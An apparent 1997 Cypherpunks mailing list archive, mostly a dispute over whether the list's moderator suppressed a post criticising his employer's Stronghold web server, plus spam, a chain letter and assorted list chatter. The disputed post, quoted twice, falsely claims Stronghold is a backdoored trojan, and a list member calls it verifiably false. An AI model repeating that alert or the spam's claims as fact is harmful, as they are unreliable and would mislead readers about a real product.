Fri Feb 7 13:21:00 1997 From: ericm at lne.com (Eric Murray) Date: Fri, 7 Feb 1997 13:21:00 -0800 (PST) Subject: Metzger, Denninger square off Message-ID: <199702072121.NAA01093@toad.com> Damaged Justice writes: > > [Forwarded from Wired news. Let's cut to the chase: Which side is in the > right? Who can tell me, in plain and simple language, who is fighting for > individual freedom and property rights, and who is not?] > [LINK] Foes Vow to Take Domain Name Fight to FCC > by Gene Koprowski > > 5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc > Committee (IAHC) to expand the number of Internet top-level domain > names is stirring opposition among alternative domain name providers. [..] > Denninger said he received a leaked copy of the IACH proposal earlier > this week, and he and his colleagues are considering bringing their > protests to the FCC. "We're given open access under the telecom law," > says Denninger. "We might talk to the FCC or the Clinton > administration about this." Barring that, Denninger will lobby > Internet service providers around the country, asking them not to > recognize the new GTLDs. "There is no reason to support it. We will do > everything in our power to convince ISPs not to go along," he says. Karl's worried that the new GLTD system might mean that some sites will be unreachable, so he's going to lobby ISPs to not accept the new GLDTs to ensure that sites are unreachable? This reminds me of the Vietnam era "We had to destroy the village in order to save it." If I didn't already think that Karl was an idiot, I'd sure think so after reading this. -- Eric Murray ericm at lne.com ericm at motorcycle.com http://www.lne.com/ericm PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From vznuri at netcom.com Fri Feb 7 13:22:41 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Fri, 7 Feb 1997 13:22:41 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702072122.NAA01120@toad.com> > >(It is true that Vulis uses the phrase "Limey faggots," in reference to >beer-serving habits, but he does not directly insult any list members with >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will >be blocked from their usual characterizations of Congresscritters and NSA >stooges.) TCM defending Vulis, I think I've died and am in some strange dreamworld. hehehehe From tcmay at got.net Fri Feb 7 13:24:03 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 13:24:03 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702070655.WAA12884@toad.com> Message-ID: At 12:59 PM -0800 2/7/97, Vladimir Z. Nuri wrote: >> >>(It is true that Vulis uses the phrase "Limey faggots," in reference to >>beer-serving habits, but he does not directly insult any list members with >>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will >>be blocked from their usual characterizations of Congresscritters and NSA >>stooges.) > >TCM defending Vulis, I think I've died and am in some strange >dreamworld. hehehehe I'm arguing against two things: 1. The basic notion of centralized moderation, with the name "Cypherpunks" now closely associated with a Big Brotherish, "we know what's better for you than you do" sort of censorship. 2. The apparently careless and inconsistent way Sandy is censoring posts. As others have also noted, non-flamish posts are being sent to the Flames list. A censor who will not take the time to read the list traffic on a continuing basis, e.g., by spending the several hours a day on it that many of us spend (or used to spend), is not suited to be a censor. I suggested at the time of his self-appointment to the role of Censor that Sandy would not devote the needed time to this task. (Not that this makes censorship OK, mind you.) I'm not defending Vulis per se, and I continue to think Vulis is a twit. But one of the goals Vulis apparently set out to accomplish (just as you did a couple of years ago, Larry) was to force the list to start censoring itself, even to force the list to shut down. It seems likely that Vulis is quite happy with the outcome here. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Fri Feb 7 13:49:52 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 13:49:52 -0800 (PST) Subject: More on the Stronghold Charge In-Reply-To: Message-ID: Vulis has sent me private mail, which I won't quote here because of the usual netiquette standards that private mail not be quoted (though it's legal to do so). He asserts that a few weeks ago he sent criticisms of Stronghold out to the Cypherpunks list, and the criticisms did not appear on any of the distributed lists. He claims he then received communications from C2Net of a legal nature, threatening him with legal action. I'll let Vulis elaborate if he wishes, as I don't know the situation. And I encourage him to do so, for more than one reason. As I just replied to "Against Moderation" on, I would like to see these articles which were suppressed. Please repost them to the list, and copy me to ensure that I get them. If this claim is true, that Sandy blocked criticism of Stronghold from reaching either the Main list (bad enough), or from even going out at all on the Flames list (reprehensible), then this is an extremely serious charge. If the claim is true that Sandy used articles sent to the Cypherpunks list, but never distributed to the list, as the basis by the company which employs him of legal threats of any kind, then this is even more than just "extremely serious." I would like to hear more from Vulis, and copies of any such articles, and of course would like to hear Sandy's version of things. This is too serious a charge not to resolve. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From vznuri at netcom.com Fri Feb 7 13:58:12 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Fri, 7 Feb 1997 13:58:12 -0800 (PST) Subject: automated moderation system Message-ID: <199702072158.NAA01634@toad.com> here's an idea for a simple "moderation" system with no one-moderator bottleneck/choke point. I'm trying to come up with a constructive solution with cyberspatial spirit. please send me email if you would be willing to try this system. flames ignored. if there is enough support I may be able to persuade a friend to write the code to do this. a new mailing list is set up, one that gets posts from a noisy mailing list. it filters the mail according to user preferences, and sends it out to its own subscribers. the filtering scheme is as follows: a web site is set up that allows people to express their own preferences as to who they wish to listen to in particular, and who they wish to killfile, based on email address. first, they hit the web site and have it send them a secret password to their email address. then they use that password to edit their "pass" and "zap" lists. (the password is for authentication) now, the mailing list works as follows. people always receive posts from people they put on their "pass" lists. mail from entities on their "zap" lists is always trashed. why are the lists kept on the server? the usefulness of this scheme is that now you have information about all entities, the number of votes to "pass" each entity, and the number of votes to "zap" each entity. now lets say that the system is considering sending me mail from someone that is neither on my pass or zap lists. I have no personal info on it, but the system could use the votes in some algorithmic way to decide whether to send it to me or not. various experiments could be tried to come up with a good scheme. my preference is at the moment something like this: every person indicates how much mail they wish to recieve from the list, and how much of a delay is acceptable. the system uses this information and the "pass/zap" ratio (or difference) to send out the "highest rated" messages in a given time window. during low list traffic, the messages that pass through would be ranked lower. or, the system could have a ranking threshold set by each individual user below which it will never pass the email. my feeling is to keep these lists public, although the scheme would allow a system that kept them private. of course I will be flamed for this. the system of course is essentially a reputation system, something everyone here talks about but nobody really seems to know what one is or how to set one up. anyway, I hope to hear from anyone with comments. if you might be able to support a cgi web site for the idea, please let me know. technically the system is pretty straightforward. my experience with these systems is that the great difficulty is getting people to try them, the "critical mass" problem. From tcmay at got.net Fri Feb 7 13:58:12 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 13:58:12 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702072158.NAA01633@toad.com> At 12:59 PM -0800 2/7/97, Vladimir Z. Nuri wrote: >> >>(It is true that Vulis uses the phrase "Limey faggots," in reference to >>beer-serving habits, but he does not directly insult any list members with >>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will >>be blocked from their usual characterizations of Congresscritters and NSA >>stooges.) > >TCM defending Vulis, I think I've died and am in some strange >dreamworld. hehehehe I'm arguing against two things: 1. The basic notion of centralized moderation, with the name "Cypherpunks" now closely associated with a Big Brotherish, "we know what's better for you than you do" sort of censorship. 2. The apparently careless and inconsistent way Sandy is censoring posts. As others have also noted, non-flamish posts are being sent to the Flames list. A censor who will not take the time to read the list traffic on a continuing basis, e.g., by spending the several hours a day on it that many of us spend (or used to spend), is not suited to be a censor. I suggested at the time of his self-appointment to the role of Censor that Sandy would not devote the needed time to this task. (Not that this makes censorship OK, mind you.) I'm not defending Vulis per se, and I continue to think Vulis is a twit. But one of the goals Vulis apparently set out to accomplish (just as you did a couple of years ago, Larry) was to force the list to start censoring itself, even to force the list to shut down. It seems likely that Vulis is quite happy with the outcome here. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From antimod at nym.alias.net Fri Feb 7 14:07:33 1997 From: antimod at nym.alias.net (Against Moderation) Date: Fri, 7 Feb 1997 14:07:33 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, his product? Message-ID: <19970207220720.15530.qmail@anon.lcs.mit.edu> Okay, I went through my old mail, and I'm fairly sure this is the message. I'm convinced it never went to the flames list, and now that I've found out I'm on the -unedited list after all, I think it probably didn't go to the regular cypherpunks list either. Can people on the various lists confirm this for me? Given the total lack of technical content, the flamey nature of the article, and the fact that it is verifiably false (stronghold source code is available), I can see people arguing it should have gone to -flames (though I would probably disagree). However, I don't want to debate that. What I object to more strongly and think is wrong is the fact that it went to *neither* list. A lot of people out there are subscribing to the cypherpunks-flames and cypherpunks lists thinking that they will see everything that gets rejected (albeit with a substantial delay). If this is not the case, it should be made clear. Otherwise, it's not moderation, but dishonesty. -- >From cypherpunks-errors at toad.com Thu Jan 30 17:26:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Subject: Security alert!!! To: cypherpunks at toad.com Date: Thu, 30 Jan 97 16:15:21 EST Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST) Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST) Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP; id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500 Received: by bwalk.dm.com (1.65/waf) via UUCP; Thu, 30 Jan 97 16:19:19 EST for cypherpunks at toad.com Comments: All power to the ZOG! Message-Id: Sender: owner-cypherpunks at toad.com Precedence: bulk Lines: 19 WARNING: There's a rogue trojan horse out there on the internet known as the "stronghold web server". It's actually a hacked-up version of Apache with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information 9such as passwords and credit card numbers) to any site running the trojan horse "stronghold". In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From azur at netcom.com Fri Feb 7 14:13:17 1997 From: azur at netcom.com (Steve Schear) Date: Fri, 7 Feb 1997 14:13:17 -0800 (PST) Subject: IEEE Communications Message-ID: >A friend called this evening to let me know the February issue is dedicated >to electronic cash and its implications. I'm no longer an IEEE member. If >any of the various list members care to excerpt and comment on some of the >more interesting portions, I'm sure it would be appreciated. > >--Steve Correction: It's the February issue of IEE Spectrum, subtitled "Technology and the Electronic Economy." --Steve From harka at nycmetro.com Fri Feb 7 14:18:43 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Fri, 7 Feb 1997 14:18:43 -0800 (PST) Subject: Unix Network Monitor... Message-ID: -----BEGIN PGP SIGNED MESSAGE----- For those, who might be interested... == Forwarded Message Follows ========================================= Subject: SOFT> The Big Brother Unix Network Monitor Date: Wed, 5 Feb 1997 13:26:51 -0600 From: sean at iti.qc.ca http://www.iti.qc.ca/iti/users/sean/bb-dnld/ Big Brother is a free web-based Unix network monitoring tool. It watches disk space, CPU loads, important processes, Web servers, and connectivity and can page you if something really horrible happens. Free. Includes all source code. Version 1.03 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEUAgUBMvurZjltEBIEF0MBAQFPiQf3Tj6OUPexsGtM+OPwPzJA0LPnkGjT6xAB qKGDoOXuwbydvg9TQ8WuRqxYau/RucbjjDLeqcx+bsDBZMErsGy2SHN8wScjFsF/ G+60/0SRCFn9nSdqVOic7PL87Djtb9+m4/pPD+f3fWFeJ5o5sOePnkKyqwSKSSpy epxAR6dsb7KZQVsJM3khOqSjQcQf7zaCFYWEqxCft+qw5aaPU9HDXfmjY08uXHa6 DAUCT+gTIfZUdj4KzJKktS6AV+cSQGAPhsn7JrjrVMLcyv7BTcXEJ/yV2I3jEgwx sTP935MvfTYlvfq6dCFgOp/gs9oi2wC6kiQh6nEPHpHJ3yfFu3sv =twyY -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From minow at apple.com Fri Feb 7 14:25:42 1997 From: minow at apple.com (Martin Minow) Date: Fri, 7 Feb 1997 14:25:42 -0800 (PST) Subject: Crack a Mac and win a fortune. Message-ID: A Swedish company, http://www.infinit.se/hacke/crack.html is offering a 10,000 Swedish Kronor reward to the first person to successfully attack (change information on) their web server. See their press release at http://www.infinit.se/hacke/release.html for details and the URL of the system to hack. Martin Minow minow at apple.com From jya at pipeline.com Fri Feb 7 14:29:00 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 14:29:00 -0800 (PST) Subject: More on Stronghold Charge - 1 Message-ID: <1.5.4.32.19970207222314.006ca6f0@pop.pipeline.com> Return-Path: cypherpunks-errors at toad.com To: cypherpunks at toad.com Subject: Disappearing articles? From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Date: Fri, 31 Jan 97 10:39:11 EST Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com We already know that Sandy's bot automatically discards submissions from people he doesn't like, irrespective of contents. In the past the rejected articles were tossed to the "flames" list. Now Sandy has gone one step further. The following article criticized the product Sandy is paid to peddle. It showed up on the 'unedited' list, but Sandy hated its contents so much that it hasn't made it to EITHER censored or the 'flames' list! This is the beginning of the censored article: To: cypherpunks at toad.com Subject: Security alert!!! From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Message-Id: Date: Thu, 30 Jan 97 16:15:21 EST Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com Precedence: bulk WARNING: There's a rogue trojan horse out there on the internet known as the "stronghold web server". It's actually a hacked-up version of Apache with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information 9such as passwords and credit card numbers) to any site running the trojan horse "stronghold". In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. (rest snipped to save bandwidth) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From sales at quantumcom.net Fri Feb 7 14:42:11 1997 From: sales at quantumcom.net (Quantum Communications) Date: Fri, 7 Feb 1997 14:42:11 -0800 (PST) Subject: Customers For You!!! Message-ID: <199702072120.QAA09988@slade.quantumcom.net> The following message has been brought to you by Quantum Communications. If you would like advertising rates and information, send an email to info at quantcom.com or visit our website http://www.quantcom.com If you prefer NOT to receive promotional messages inthe future, send an email to remove at quantcom.com Quantum Communications BULK EMAIL ADVERTISING SERVICE OFFERS: * GUARANTEED RESPONSE RATE! * HIGHEST QUALITY LIST (compiled 100% in-house, never bought or re-sold, continuously updated and maintained)! * WE SEND ALL MAIL! (never get shut off by your ISP!) * LARGEST DATABASE (over 5 million email addresses)! * LOWEST RATES IN THE INDUSTRY! * 100% APPROVED FINANCING (no credit checks - you are APPROVED)! * WE OFFER WEB PAGE HOSTING AND OTHER RELATED SERVICES AS WELL * COMPREHENSIVE SERVICES INCLUDED FREE OF CHARGE (email forwarding, flame filtering, autoresponders, copy design assistance)! * COMPLETE RANGE OF SERVICE OFFERINGS (stand-alone bulk email, co-op "MEGA-MAILER", custom-built targeted mailings)! * REFERENCES FROM HAPPY CLIENTS! * VISIT OUR WEB SITE AT http://www.quantcom.com For complete details on our services, pricing, no-nonsense response guarantee, and all other pertinent info, call our sales department @ (603) 772-4096, or send an email to info at quantcom.com. When requesting info via email, please be sure to include your voice phone # and best time to call, unless you would prefer not to be contacted via telephone to follow up. From tcmay at got.net Fri Feb 7 14:53:34 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 14:53:34 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, hisproduct? In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu> Message-ID: At 10:07 PM +0000 2/7/97, Against Moderation wrote: >Okay, I went through my old mail, and I'm fairly sure this is the >message. I'm convinced it never went to the flames list, and now that >I've found out I'm on the -unedited list after all, I think it >probably didn't go to the regular cypherpunks list either. Can people >on the various lists confirm this for me? I checked the archive site (http://infinity.nus.sg/cypherpunks) for the "main" (censored) list, and do not see it there, either by title or by author. I only recently subscribed to the Flames list, so I cannot check to see if it went there. Anyone else check the Flames list? As I said in my last messages, if this message went to neither the Main list nor the Flames list, then a very serious problem has been exposed. Further, if the post, while not being sent to either of the nominal lists which filtered stuff is supposed to go to, was used as the basis of legal threats by the employer of Sandy, the list's censor, then dramatically more serious implications seem evident. I await Sandy's views with great anticipation. The message itself does not look flamish to me. It makes charges, but so do a zillion other posts. It cannot be the job of a censor to decide on what is true and what is not true. >Given the total lack of technical content, the flamey nature of the It's not "flamey." Nobody is called a cocksucker, nobody is called a faggot, etc. Yes, it claims a product has a trojan horse, but this is a claim comparable to other claims routinely made on list and newsgroups. I'm also neither stupid nor disingenuous. I realize full well that Vulis probably made the claim because he knows Sandy works for the seller of Stronghold. Be that as it may, it is not proper for a censor employed by the seller of a product to decide that criticisms of his product are flamish. Would the list have countenanced censorship of criticisms of an RSADSI product if the list were being censored by an employee of RSADSI? And by letting Vulis make such a claim, and then having it quickly rebutted by other employees of C2Net, for example, Vulis would be shown to be spreading disinformation and his reputation capital would decline still further. If in fact the Vulis claim never made it either of the two lists to which all filtered messages are supposed to be sorted, then deception has occurred. And a conflict of interest. Again, I await Sandy's response. >A lot of people out there are subscribing to the cypherpunks-flames >and cypherpunks lists thinking that they will see everything that gets >rejected (albeit with a substantial delay). If this is not the case, >it should be made clear. Otherwise, it's not moderation, but >dishonesty. Indeed. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From markm at voicenet.com Fri Feb 7 14:55:16 1997 From: markm at voicenet.com (Mark M.) Date: Fri, 7 Feb 1997 14:55:16 -0800 (PST) Subject: faulty moderation software: duplicate messages In-Reply-To: <199702071941.LAA29273@toad.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- All messages with "Sender: owner-cypherpunks-unedited at toad.com" are received from the flames list. The difference between the unedited and moderated lists is that the moderated list changes the message ID, appending toad.com, and deletes all received headers before "majordom at localhost.*by toad.com". None of the messages are being doubled; this is just the result of buggy software Here's the recipe I use to filter out the three separate lists: :0 * ^Sender: owner-cypherpunks.*@toad.com { :0 * ^Sender: owner-cypherpunks-unedited at toad.com flames :0 * -1^1 ^Received: * 3^1 ^Received:.*from majordom at localhost.*by toad.com * ^Message-Id:.*toad.com in.cpunks :0 unedited } -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvuzrSzIPc7jvyFpAQFSywf/YqoJLI6crxcL9qJO/CXJKWMy5NCwilIX ZNgt5YkhMUpOzGtFLEYXdiw2XVisS0fWy2X7rGul7+BYYuVAM2tnOTKWuavufJXe KhIp41KKHe7dFWDarm5VwCt7pulRM4xVinpu0+T8M/1wfRLbC4bctJXGMSYSM9Pz U+IBqSbi3MkrE3lAwJtirvC3qDgQXvLqHQRVwYkv8wmVoQXGKCGuiM4YEu3TamvH bBPEPHfh7gbtVtBFiUri7jtGLHv6kROb0/wuREgkxHd0wLld/3L7GRClIgy8b+1K 6TeuoO32SA6tp+a9yytQUuf/WvueGdFSbLwXHozMvRu5+WOcqa8Hbw== =MQlk -----END PGP SIGNATURE----- From bs-org at c2.net Fri Feb 7 14:57:17 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Fri, 7 Feb 1997 14:57:17 -0800 (PST) Subject: lead remailer is shut down Message-ID: <1.5.4.16.19970207225648.2fff933a@c2.net> At 11:58 1997-02-07 -0800, Ed Falk wrote: > >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Can anybody give me the address of reliable remailer which accepts pgp messages. BTW which remailer was shut down and why? From dsmith at prairienet.org Fri Feb 7 14:58:30 1997 From: dsmith at prairienet.org (David E. Smith) Date: Fri, 7 Feb 1997 14:58:30 -0800 (PST) Subject: automated moderation system Message-ID: <3.0.32.19970207164355.006949b4@midwest.net> -----BEGIN PGP SIGNED MESSAGE----- At 01:15 PM 2/7/97 -0800, you wrote: [... re: a auto moderations system...] >now, the mailing list works as follows. people always receive >posts from people they put on their "pass" lists. mail from >entities on their "zap" lists is always trashed. This much, you can do on your own. Just filter "zap" messages to /dev/null or somesuch. (But I see its purpose; keep reading.) [... using other's pass/zap lists as reputation markers...] It's a good idea in theory, but would put a lot of load on the server. For every message * every list subscriber, it has to _at_least_ look up the pass/zap criteria, and possibly do some number- crunching based on the whole database of pass/zap lists, and keep track of how long each message has been sitting in the queue and its ratings by other people. Also, Mallet could skew the reputations by subscribing with a dozen other addresses (which M. created just to get the extra "votes"), decide to have all of them "zap" Alice, and then Bob might never see Alice's intelligent and thoughtful messages. (Presumably, Mallet keeps the bogus addresses subscribed, just dumping all mail into the bitbucket; any user who leaves the list shouldn't have any weight in the calculations any longer.) This also doesn't even address anonymous remailers; Chuck and Dave might both use the same remailer, even though Chuck only posts good, meaningful messages (in whatever context) and Dave only posts flaming ASCII art :) dave (who doesn't post flaming ascii art, honest) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvuwDnEZTZHwCEpFAQHZMwf+MNIyeFS53QW4LxZzvitFi259xEso3bXT WXfAqJx7pF8aefZ7U2hBEwPzFyBR5fJWrn4Vekpl6ZK82xJsU2x6Az9+I2D1TYH/ dMAar9S+GcPPlyJ5QegWQ04VopmGzGvDZ69lL1mkJZnl9RT3jWOdVBcmUUUSqrsz LMGdVxrglx1QIkoZu/P69RheK37HJHiTG6pSokQRQPqyU2VVEwg44yJDicPfjlke raBLk6EiA6tJ2azKMshEBLm00EjGSHLmstRDqE8x6kb2WMMgCchL9KIe9XIz7fCN o0L8fTZMME7ZF82/sacnUnzdK6sJ5oAtmgUiT7cZm7Jqo3WU0OmUOw== =mSMn -----END PGP SIGNATURE----- From dsmith at prairienet.org Fri Feb 7 14:58:39 1997 From: dsmith at prairienet.org (David E. Smith) Date: Fri, 7 Feb 1997 14:58:39 -0800 (PST) Subject: Metzger, Denninger square off Message-ID: <3.0.32.19970207165402.00688998@midwest.net> -----BEGIN PGP SIGNED MESSAGE----- At 01:24 PM 2/7/97 -0500, you wrote: >[Forwarded from Wired news. Let's cut to the chase: Which side is in the >right? Who can tell me, in plain and simple language, who is fighting for >individual freedom and property rights, and who is not?] Hee... I think they're both just after money. > 5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc > Committee (IAHC) to expand the number of Internet top-level domain > names is stirring opposition among alternative domain name providers. Well, of course. AlterNIC does charge a few bucks for registering in some of their TLDs. I'm not sure about the other alternative-name servers, but somehow I doubt it's a charity program. And of course we all know about InterNIC's cash cow... [the proposed new TLDs] .firm .store Somehow, these two look rather similar to me. .web Actually a good idea :) A lot of the .com congestion is from companies that are virtually-hosted for the sole purpose of running a Web site with the www. prefix. .arts .rec .info How many of these would fit into the .org (or even .us) domains? .nom Nah. Just not classy enough. Now, a .nym TLD... :-) > They also think the new domain names will "fragment" the > Internet, leaving some users unable to communicate with others, if a > server does not recognize the name request. How so? AlterNIC et al. aren't exactly globally recognized anyway. If we're going to have more TLDs, it's at least less "bad" to have them coming from the place where names have been coming from anyway (InterNIC). No matter what, it'll be a long time before _any_ new TLDs are universally recognized, just because somewhere, someone's sysadmin is asleep at the wheel. (Probably at my ISP :) dave -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvuybnEZTZHwCEpFAQGKFwf5AbWTx3mWlJ7QOsHnegxAb9Q9y5Dhi1EH If7qLWlZYPerjmWlSE72isintDADDdh81d9xyPJ1kYtR9KRE5p0WAbL5pf2sl6eT g7Z1LzS449cHesEmoSATeaDc0I0kqKVAxVUNyJxfraf6gGGquw2EpLtKZME6tV8o ESZEkXFp5bdKC3+Vf1PiuTixjnpDrgUhNshUB0xCKFDgYqGGAEoKSVO8cEYWNE4o VAH7eH537etNjnnE/r15BxHt9I3BxEU5lxM8/cuwpHKOSouGnghpLyAB426gllc4 PZNj6WhM/trkUkBj3BBWduB8DR4gwhPl71g1665IyLWMDpOLeItSpA== =4zWF -----END PGP SIGNATURE----- From bs-org at c2.net Fri Feb 7 14:59:02 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Fri, 7 Feb 1997 14:59:02 -0800 (PST) Subject: lead remailer is shut down Message-ID: <1.5.4.16.19970207225846.2fffa470@c2.net> At 11:58 1997-02-07 -0800, Ed Falk wrote: > >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Can anybody give me the address of reliable remailer which accepts pgp messages. BTW which remailer was shut down and why? From isptv at access.digex.net Fri Feb 7 15:07:44 1997 From: isptv at access.digex.net (ISP-TV Main Contact) Date: Fri, 7 Feb 1997 15:07:44 -0800 (PST) Subject: Ken Bass (counsel for Phil Karn) Interviewed on "Real Time" Monday Message-ID: <199702072307.SAA16605@access4.digex.net> *** ISP-TV Program Announcement: Ken Bass (counsel for Phil Karn) interviewed live on "Real Time" *** *** Monday, Jan. 27 *** *** 9:00 PM ET *** Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti, LLP, and is the head of that firm's Appellate Practice Group. Recently Venable served as counsel to Phil Karn during his dispute with the Department of State concerning export of a diskette containing the source code for cryptographic algorithms published in the book _Applied_ _Cryptography_, having already received permission to export the book. For the past 20 years Bass has practiced law in the Washington, D.C. metropolitan area, concentrating in civil litigation and appellate advocacy. From 1977 until 1981 he left private practice to serve as the first Counsel for Intelligence Policy at the Department of Justice. In that position he advised the Attorney General and the White House on the legal aspects of a variety of intelligence and national security matters. He also has served as a Special Master in a FOIA litigation in the United States District Court for the District of Columbia to review code word classified files concerning the Iran hostage rescue mission for Judge Louis Oberdorfer. Call-in questions will be taken during the show at (301) 847-6571. **** This video interview can be viewed on the ISP-TV main CU-SeeMe reflector at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at http://isptv.digex.net/members.html. See URL http://isptv.digex.net for more information about the ISP-TV Network To get email about future programming on ISP-TV, email the word "subscribe" to isptv-prog-request at isptv.digex.net. To obtain Enhanced CU-SeeMe software, go to: http://goliath.wpine.com/cudownload.htm From jya at pipeline.com Fri Feb 7 15:16:43 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 15:16:43 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, his product? Message-ID: <1.5.4.32.19970207231058.006c5e4c@pop.pipeline.com> My version of DV's ploy came via the unedited list. There was also a good, brief discussion about Vulis's multi-pronged Denial of Service attack on Cypherpunks, which came unedited, along with other informative comments about how a technologically adept attacker singles out a quarry amongst a lumbering, slumbering, cud- chewing herd. Quite beastly cryptoanarchistic. From foolswisdom at juno.com Fri Feb 7 15:37:58 1997 From: foolswisdom at juno.com (My Account) Date: Fri, 7 Feb 1997 15:37:58 -0800 (PST) Subject: No Subject Message-ID: <19970207.171809.3110.0.foolswisdom@juno.com> IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTTTTTTTTTTTTTTTT !!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTTTTTTTTTTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! *************************************************************************************** *** TAG, YOU' RE IT !!!!!! *** ***************************************************************************************You have been a victim in The Great E-mail Game of Tag! There are no tagbacks, and you must send this to someone else to rid yourself of being it!Send this to friends, classmates, co-workers, famous people, jerks, orfools. Send another copy to 